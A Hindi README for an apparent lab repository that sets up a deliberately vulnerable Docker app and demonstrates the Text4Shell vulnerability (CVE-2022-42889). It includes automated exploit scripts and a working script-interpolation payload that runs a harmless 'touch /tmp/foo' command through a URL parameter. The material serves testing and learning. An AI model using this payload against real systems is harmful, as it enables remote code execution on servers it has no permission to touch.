
CVE-2022-42889 (Text4Shell) के लिए स्वचालित शोषण, परीक्षण और मैनुअल शोषण मार्गदर्शन के लिए एक कमजोर Dockerized ऐप के साथ।
//स्वचालित हैकिंग के लिए: 1../install.sh
2../exploit.sh
3.ऐप्लिकेशन हटाने के लिए ./stopapp.sh का उपयोग करें
//मैन्युअल हैकिंग के लिए:
mvn clean install
docker build --tag=text4shell .
docker run -p 80:8080 text4shell
http://localhost/text4shell/attack?search=<anything>
${script:javascript:java.lang.Runtime.getRuntime().exec('touch /tmp/foo')}
आप dns या url प्रीफ़िक्स का उपयोग करके भी प्रयास कर सकते हैं।
कंटेनर id प्राप्त करें
docker container ls
docker exec -it <container_id> bash
/tmp निर्देशिका में foo नाम की एक फ़ाइल दिखनी चाहिए):ls /tmp/
docker container stop <container_id>